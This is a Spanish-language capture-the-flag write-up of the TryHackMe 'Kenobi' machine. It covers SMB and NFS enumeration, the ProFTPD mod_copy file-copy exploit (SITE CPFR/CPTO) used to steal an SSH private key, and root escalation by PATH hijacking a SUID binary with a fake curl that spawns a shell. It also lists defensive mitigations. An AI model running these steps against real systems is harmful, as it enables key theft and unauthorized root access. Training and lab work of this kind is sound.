Kenobi — TryHackMe (Fácil)

Plataforma: TryHackMe **Dificultad:** Fácil **Categorías:** Reconocimiento de red, enumeración SMB, NFS, explotación de ProFTPD, escalada de privilegios por PATH hijacking **Herramientas:** Nmap, smbclient, netcat, ssh, mount

Índice

1. Resumen
2. Reconocimiento
3. Enumeración SMB
4. Enumeración NFS
5. Explotación de ProFTPD
6. Acceso inicial por SSH
7. Escalada de privilegios
8. Lecciones aprendidas
9. Mitigaciones
10. Referencias

Resumen

Kenobi es una máquina Linux con múltiples servicios de red: SSH, HTTP, Samba (SMB), NFS y ProFTPD. La enumeración del share SMB anónimo revela información sobre la clave SSH del usuario y el servidor FTP. ProFTPD 1.3.5 tiene una vulnerabilidad en el módulo mod_copy (CVE-2015-3306) que permite copiar archivos arbitrarios sin autenticación usando los comandos `SITE CPFR` y `SITE CPTO`. Se copia la clave SSH privada del usuario a una carpeta exportada por NFS, se monta esa carpeta y se accede por SSH. La escalada de privilegios se logra mediante PATH hijacking sobre un binario SUID personalizado.

1. Reconocimiento

```
nmap -sC -sV <IP>
```

Puerto	Servicio	Versión
21	FTP	ProFTPD 1.3.5
22	SSH	OpenSSH 8.2p1 Ubuntu
80	HTTP	Apache 2.4.41 (Ubuntu)
111	rpcbind	2-4 (RPC #100000)
139	netbios-ssn	Samba 4.6.2
445	netbios-ssn	Samba 4.6.2
2049	nfs	3-4 (RPC #100003)

Total: **7 puertos abiertos**.

El escaneo también reveló a través de rpcbind que NFS estaba activo, con información de los exports disponibles en la sección `rpcinfo` del resultado.

2. Enumeración SMB

SMB (Server Message Block) es el protocolo estándar para compartir archivos en redes Windows/Linux mixtas. Samba es la implementación de SMB para Linux. Los "shares" son carpetas compartidas accesibles por la red.

Listado de shares disponibles:

```
smbclient -L //<IP>
# Presionar Enter cuando pida contraseña (acceso anónimo)
```

Se encontraron 3 shares: `print$`, `anonymous` e `IPC$`. El share `anonymous` era accesible sin credenciales.

Conexión al share anónimo y descarga del archivo disponible:

```
smbclient //<IP>/anonymous -N
# Dentro del cliente SMB:
get log.txt
exit
```

El archivo `log.txt` contenía información sobre la generación de una clave SSH para el usuario `kenobi` y detalles del servidor ProFTPD, incluyendo que FTP corría en el **puerto 21**.

Enumeración de shares con scripts de Nmap:

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse <IP>
```

3. Enumeración NFS

NFS (Network File System) es el protocolo nativo de Linux para compartir carpetas en red. El puerto 111 (rpcbind) gestiona el registro de servicios RPC, incluyendo NFS.

```
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <IP>
```

Resultado: el servidor exporta `/var` vía NFS, accesible desde cualquier IP (`*`).

4. Explotación de ProFTPD

Identificación de la versión

```
nc <IP> 21
```

El banner de ProFTPD reveló la versión: **1.3.5**.

Búsqueda de exploits

```
searchsploit proftpd 1.3.5
```

Se encontraron 4 exploits, todos relacionados con el módulo **mod_copy**. Este módulo implementa los comandos `SITE CPFR` (Copy From) y `SITE CPTO` (Copy To), que permiten copiar archivos de cualquier parte del sistema de archivos **sin autenticación**.

Explotación

El archivo `log.txt` del share SMB confirmaba que el usuario `kenobi` tenía una clave SSH en `/home/kenobi/.ssh/id_rsa` y que el servicio FTP corría como el usuario `kenobi`. Usando mod_copy, se copió la clave privada a `/var/tmp/`, que es parte de la carpeta `/var` exportada por NFS:

```
nc <IP> 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
```

Respuestas del servidor:

- `350 File or directory exists, ready for destination name`
- `250 Copy successful`

5. Acceso inicial por SSH

Con la clave copiada a `/var/tmp/`, se montó el export NFS para recuperarla:

```
mkdir /mnt/kenobiNFS
mount <IP>:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS/tmp/
```

El archivo `id_rsa` era visible. Se copió localmente y se ajustaron los permisos (SSH rechaza claves con permisos demasiado abiertos):

```
cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
```

Conexión SSH usando la clave privada:

```
ssh -i id_rsa kenobi@<IP>
```

Flag de usuario en `/home/kenobi/user.txt`.

6. Escalada de privilegios

Identificación del binario SUID inusual

```
find / -perm -u=s -type f 2>/dev/null
```

Entre todos los binarios estándar del sistema, `/usr/bin/menu` era el único inusual — ninguna instalación estándar de Ubuntu incluye un binario con ese nombre con SUID.

Al ejecutarlo, mostró 3 opciones: status check, kernel version e ifconfig.

Análisis del binario

La sala confirmó que el binario ejecutaba los comandos `curl`, `uname` e `ifconfig` **sin ruta completa** (sin `/usr/bin/curl`, solo `curl`). Esto lo hace vulnerable a PATH hijacking.

PATH Hijacking

Cuando Linux busca un comando sin ruta completa, recorre las carpetas del `$PATH` en orden. Si se agrega una carpeta propia **al inicio** del PATH y se crea un archivo con el mismo nombre que el comando buscado, Linux lo encontrará primero y lo ejecutará en su lugar — heredando los privilegios del binario SUID (root).

```
cd /tmp
echo /bin/sh > curl      # Crea un "curl" falso que lanza una shell
chmod 777 curl            # Le da permisos de ejecución
export PATH=/tmp:$PATH   # Agrega /tmp al inicio del PATH
/usr/bin/menu            # Ejecuta el binario SUID
```

Al elegir la opción 1 (status check, que internamente llama a `curl`), el binario encontró primero `/tmp/curl` en el PATH, ejecutó `/bin/sh` con privilegios de root, y se obtuvo una shell de root.

```
whoami
# root
cat /root/root.txt
```

Lecciones aprendidas

- SMB permite compartir archivos en red. El acceso anónimo a shares puede exponer información sensible como rutas de claves SSH o configuraciones internas.
- NFS exporta carpetas del sistema de archivos que cualquier máquina puede montar. Una carpeta exportada accesible + una vulnerabilidad que permite escribir en ella = vector de exfiltración de archivos.
- ProFTPD mod_copy permite copiar archivos arbitrarios del sistema sin autenticación — una vulnerabilidad crítica que combina información de reconocimiento (ubicación de la clave SSH) con escritura en una carpeta accesible (NFS).
- `chmod 600` es obligatorio en claves SSH privadas. SSH rechaza claves con permisos más abiertos para evitar que otros usuarios las lean.
- PATH hijacking: los binarios SUID que ejecutan comandos sin ruta completa son vulnerables a que un atacante ponga un programa malicioso con el mismo nombre en una carpeta que controla, agregándola al inicio del PATH.
- searchsploit permite buscar exploits conocidos offline. Es más rápido que buscar en internet cuando ya sabes el nombre y versión del software.

Mitigaciones (perspectiva defensiva)

- Deshabilitar el módulo mod_copy de ProFTPD si no es necesario, o actualizar a una versión posterior a 1.3.5 donde está parcheado.
- No exportar directorios sensibles por NFS, especialmente carpetas que puedan contener claves SSH o archivos del sistema.
- Restringir el acceso NFS por IP en lugar de usar `*`.
- No incluir shares SMB anónimos con información sensible.
- Los binarios SUID siempre deben usar rutas absolutas para llamar a otros programas, nunca nombres relativos que puedan ser manipulados vía PATH.
- Auditar regularmente los binarios con SUID — cualquier binario personalizado con SUID es una señal de alerta.

Referencias

- TryHackMe — Kenobi
- GTFOBins — PATH hijacking
- searchsploit — ExploitDB